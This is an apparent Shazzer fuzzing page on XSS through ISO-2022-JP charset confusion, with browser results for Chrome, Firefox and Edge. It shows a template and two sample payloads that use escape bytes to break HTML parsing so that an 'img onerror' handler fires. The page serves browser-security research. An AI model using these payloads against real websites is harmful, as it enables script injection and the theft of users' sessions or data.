Shazzer logo

Bytes that will scramble ISO-2022-JP

Chrome logo 2
Firefox logo 2
Edge logo 2

Which escape sequences will result in scrambled HTML.

Cillian-Collins
Created byCillian-Collins
Created Dec 26, 2024
Updated May 27, 2025

Tweet
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetISO-2022-JP
Template used:
<a id="$[bytes:1b24]$[chr]"></a>$[bytes:1b2842]<a id="><img src=x onerror=log($[i])></a>

Sample payloads

<a id="0x1B$@"></a>0x1B(B<a id="><img src=x onerror=alert(64)></a>
<a id="0x1B$B"></a>0x1B(B<a id="><img src=x onerror=alert(66)></a>

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated17 Feb 2026
Found 2 results
Loading...
Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated17 Feb 2026
Found 2 results
Loading...
Firefox logo
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 2 results
Loading...
Firefox logo
Firefox 147.0 desktop Linuxolder version
Updated1 Feb 2026
Found 2 results
Loading...
Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 2 results
Loading...